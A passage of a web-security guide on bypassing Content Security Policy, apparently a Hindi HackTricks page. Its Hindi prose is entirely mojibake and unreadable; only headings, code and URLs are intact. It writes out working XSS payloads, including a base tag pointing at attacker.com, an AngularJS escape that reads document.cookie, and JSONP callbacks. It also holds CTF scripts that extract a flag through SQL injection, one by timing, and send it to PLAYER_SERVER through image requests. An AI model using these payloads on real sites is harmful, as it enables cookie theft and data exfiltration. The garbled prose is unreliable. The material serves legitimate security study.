{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

рдЧрд╛рдпрдм base-uri

рдпрджрд┐ base-uri рдирд┐рд░реНрджреЗрд╢ рдЧрд╛рдпрдм рд╣реИ рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ dangling markup injection рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдкреГрд╖реНрда рдПрдХ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ (рдЬреИрд╕реЗ <script src="/js/app.js">) рдПрдХ Nonce рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЖрдк base tag рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рдЖрдкрдХреЗ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░реЗ рдЬрд┐рд╕рд╕реЗ XSS рдкреНрд░рд╛рдкреНрдд рд╣реЛред
рдпрджрд┐ рдХрдордЬреЛрд░ рдкреГрд╖реНрда httpS рдХреЗ рд╕рд╛рде рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмреЗрд╕ рдореЗрдВ httpS URL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

<base href="https://www.attacker.com/">

AngularJS рдШрдЯрдирд╛рдПрдБ

рдПрдХ рд╡рд┐рд╢реЗрд╖ рдиреАрддрд┐ рдЬрд┐рд╕реЗ рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, JavaScript рдШрдЯрдирд╛рдУрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред рдлрд┐рд░ рднреА, AngularJS рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╕реНрдЯрдо рдШрдЯрдирд╛рдПрдБ рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИред рдПрдХ рдШрдЯрдирд╛ рдХреЗ рднреАрддрд░, AngularJS рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдСрдмреНрдЬреЗрдХреНрдЯ $event рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдореВрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдШрдЯрдирд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ $event рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ CSP рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, Chrome рдореЗрдВ, $event/event рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдПрдХ path рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдШрдЯрдирд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдСрдмреНрдЬреЗрдХреНрдЯреЛрдВ рдХреА рдПрдХ рд╕рд░рдгреА рд░рдЦрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ window рдСрдмреНрдЬреЗрдХреНрдЯ рд╣рдореЗрд╢рд╛ рдЕрдВрдд рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рд╕рдВрд░рдЪрдирд╛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдмрдЪрд╛рд╡ рд░рдгрдиреАрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред

рдЗрд╕ рд╕рд░рдгреА рдХреЛ orderBy рдлрд╝рд┐рд▓реНрдЯрд░ рдХреА рдУрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдХреЗ, рдЗрд╕реЗ рдкреБрдирд░рд╛рд╡реГрддреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЕрдВрддрд┐рдо рддрддреНрд╡ ( window рдСрдмреНрдЬреЗрдХреНрдЯ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдЬреИрд╕реЗ alert() рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ред рдиреАрдЪреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

рдпрд╣ рд╕реНрдирд┐рдкреНрдкреЗрдЯ ng-focus рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╡реЗрдВрдЯ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, $event.path|orderBy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ path рдПрд░реЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ alert() рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП window рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ document.cookie рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред

рдЕрдиреНрдп Angular рдмрд╛рдпрдкрд╛рд╕ рдЦреЛрдЬреЗрдВ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS рдФрд░ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рдбреЛрдореЗрди

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

рдПрдХ CSP рдиреАрддрд┐ рдЬреЛ Angular JS рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдХреЛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд░рддреА рд╣реИ, рдХреЛ рдХреЙрд▓рдмреИрдХ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдФрд░ рдХреБрдЫ рдХрдордЬреЛрд░ рд╡рд░реНрдЧреЛрдВ рдХреЗ рдЖрд╣реНрд╡рд╛рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдкрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ git repository рдкрд░ рдЙрдкрд▓рдмреНрдз рд╡рд┐рд╕реНрддреГрдд рдЧрд╛рдЗрдб рдореЗрдВ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред

рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

рдЕрдиреНрдп JSONP рдордирдорд╛рдиреЗ рдирд┐рд╖реНрдкрд╛рджрди рдПрдВрдбрдкреЙрдЗрдВрдЯ рдпрд╣рд╛рдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рд╣рдЯрд╛ рджрд┐рдП рдЧрдП рдпрд╛ рдареАрдХ рдХрд░ рджрд┐рдП рдЧрдП рд╣реИрдВ)

рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рдпрдкрд╛рд╕

рдЬрдм CSP рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддрд╛ рд╣реИ рддреЛ рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ? рдпрджрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рдЕрднреА рднреА рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, CSP рд╕реНрдкреЗрдХ 4.2.2.3. рдкрде рдФрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдореЗрдВ рд╡рд░реНрдгрди рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдпрджрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдПрдХ рдЕрд▓рдЧ рдкрде рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдореВрд▓ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣рд╛рдВ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

рдпрджрд┐ CSP рдХреЛ https://www.google.com/a/b/c/d рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЪреВрдВрдХрд┐ рдкрде рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рджреЛрдиреЛрдВ /test рдФрд░ /a/test рд╕реНрдХреНрд░рд┐рдкреНрдЯ CSP рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдВрддрд┐рдо http://localhost:5555/301 рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЪреВрдВрдХрд┐ рдпрд╣ рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рд╣реИ, рдкрде рдкрд░ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛, рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдкрде рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде, рднрд▓реЗ рд╣реА рдкрде рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдпрд╣ рдЕрднреА рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЗрд╕рд▓рд┐рдП, рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╕рдорд╛рдзрд╛рди рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдореЗрдВ рдХреЛрдИ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рди рд╣реЛрдВ рдФрд░ CSP рдирд┐рдпрдореЛрдВ рдореЗрдВ рдХреЛрдИ рдРрд╕реЗ рдбреЛрдореЗрди рди рд╣реЛрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

рд▓рдЯрдХрддреЗ рдорд╛рд░реНрдХрдЕрдк рдХреЗ рд╕рд╛рде CSP рдмрд╛рдпрдкрд╛рд╕

рдпрд╣рд╛рдБ рдкрдврд╝реЗрдВред

'unsafe-inline'; img-src *; XSS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдХреЛрдб рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ (XSS рдХреЛрдб рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ) рдФрд░ img-src * рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рд╡реЗрдмрдкреЗрдЬ рдкрд░ рдХрд┐рд╕реА рднреА рд╕рдВрд╕рд╛рдзрди рд╕реЗ рдХреЛрдИ рднреА рдЫрд╡рд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдк рдЗрд╕ CSP рдХреЛ рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рдХрд░ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЗрд╕ рдЕрд╡рд╕рд░ рдкрд░ XSS рдПрдХ CSRF рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдПрдХ рдкреГрд╖реНрда рдЬреЛ рдмреЙрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реБрд▓рдн рд╣реИ, рдПрдХ SQLi рд╣реИ, рдФрд░ рдПрдХ рдЫрд╡рд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдзреНрд╡рдЬ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

рдЖрдк рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЫрд╡рд┐ рдХреЗ рдЕрдВрджрд░ рдбрд╛рд▓реЗ рдЧрдП рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреГрд╖реНрда рдЯреНрд╡рд┐рдЯрд░ рд╕реЗ рдЫрд╡рд┐рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЖрдк рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЫрд╡рд┐ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕реЗ рдЯреНрд╡рд┐рдЯрд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ "unsafe-inline" рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ JS рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп XSS) рдЬреЛ рдЫрд╡рд┐ рдХреЛ рд▓реЛрдб рдХрд░реЗрдЧрд╛, рдЙрд╕рд╕реЗ JS рдирд┐рдХрд╛рд▓реЗрдЧрд╛ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде

рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рдУрдВ рдХреА importScripts рдлрд╝рдВрдХреНрд╢рди CSP рджреНрд╡рд╛рд░рд╛ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИ:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

рдиреАрддрд┐ рдЗрдВрдЬреЗрдХреНрд╢рди

рдЕрдиреБрд╕рдВрдзрд╛рди: https://portswigger.net/research/bypassing-csp-with-policy-injection

рдХреНрд░реЛрдо

рдпрджрд┐ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЖрдкрдиреЗ рднреЗрдЬрд╛ рд╣реИ, рдиреАрддрд┐ рдХреЗ рдШреЛрд╖рдгрд╛ рдХреЗ рдЕрдВрджрд░ рдкреЗрд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдиреАрддрд┐ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдмреЗрдХрд╛рд░ рд╣реЛ рдЬрд╛рдПред рдЖрдк рдЗрди рдмрд╛рдпрдкрд╛рд╕ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ 'unsafe-inline' рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдирд┐рд░реНрджреЗрд╢ рдореМрдЬреВрджрд╛ script-src рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░реЗрдЧрд╛ред
рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge рдореЗрдВ рдпрд╣ рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИред рдпрджрд┐ рдЖрдк CSP рдореЗрдВ рдХреЗрд╡рд▓ рдпрд╣ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: ;_ Edge рдкреВрд░реА рдиреАрддрд┐ рдХреЛ рдЧрд┐рд░рд╛ рджреЗрдЧрд╛ред
рдЙрджрд╛рд╣рд░рдг: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; XSS (iframe) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ - рдЯрд╛рдЗрдо рдЕрдЯреИрдХ

рдирд┐рд░реНрджреЗрд╢ 'unsafe-inline' рдХреА рдХрдореА рдкрд░ рдзреНрдпрд╛рди рджреЗрдВред
рдЗрд╕ рдмрд╛рд░ рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЛ XSS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ <iframe рдХреЗ рд╕рд╛рдеред рдЗрд╕ рдмрд╛рд░ рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЛ рдЙрд╕ рдкреГрд╖реНрда рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╕реЗ рдЖрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ (CSRF)ред рдЖрдк рдкреГрд╖реНрда рдХреА рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддреЗ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк рдкреГрд╖реНрда рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓реЗ рд╕рдордп рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕ рдмрд╛рд░ рдПрдХ рдЭрдВрдбрд╛ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛, рдЬрдм рднреА рдПрдХ рдЪрд░ рд╕рд╣реА рдЕрдиреБрдорд╛рдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ SQLi рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЕрдзрд┐рдХ рд╕рдордп рд▓реЗрддреА рд╣реИ рдиреАрдВрдж рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдХрд╛рд░рдгред рдлрд┐рд░, рдЖрдк рдЭрдВрдбрд╛ рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

рдпрд╣ рд╣рдорд▓рд╛ рдХреБрдЫ рд╕рд╛рдорд╛рдЬрд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдЧрд╛ рдЬрд╣рд╛рдБ рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдмреБрдХрдорд╛рд░реНрдХрд▓реЗрдЯ рдкрд░ рдПрдХ рд▓рд┐рдВрдХ рдЦреАрдВрдЪрдиреЗ рдФрд░ рдЫреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдордирд╛рддрд╛ рд╣реИред рдпрд╣ рдмреБрдХрдорд╛рд░реНрдХрд▓реЗрдЯ рджреБрд╖реНрдЯ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЦреАрдВрдЪрдиреЗ рдФрд░ рдЫреЛрдбрд╝рдиреЗ рдпрд╛ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рд╡рд░реНрддрдорд╛рди рд╡реЗрдм рд╡рд┐рдВрдбреЛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛, CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ рдХреБрдХреАрдЬрд╝ рдпрд╛ рдЯреЛрдХрди рдЪреБрд░рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рдореВрд▓ рд░рд┐рдкреЛрд░реНрдЯ рджреЗрдЦреЗрдВред

CSP рдмрд╛рдпрдкрд╛рд╕ рджреНрд╡рд╛рд░рд╛ CSP рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛

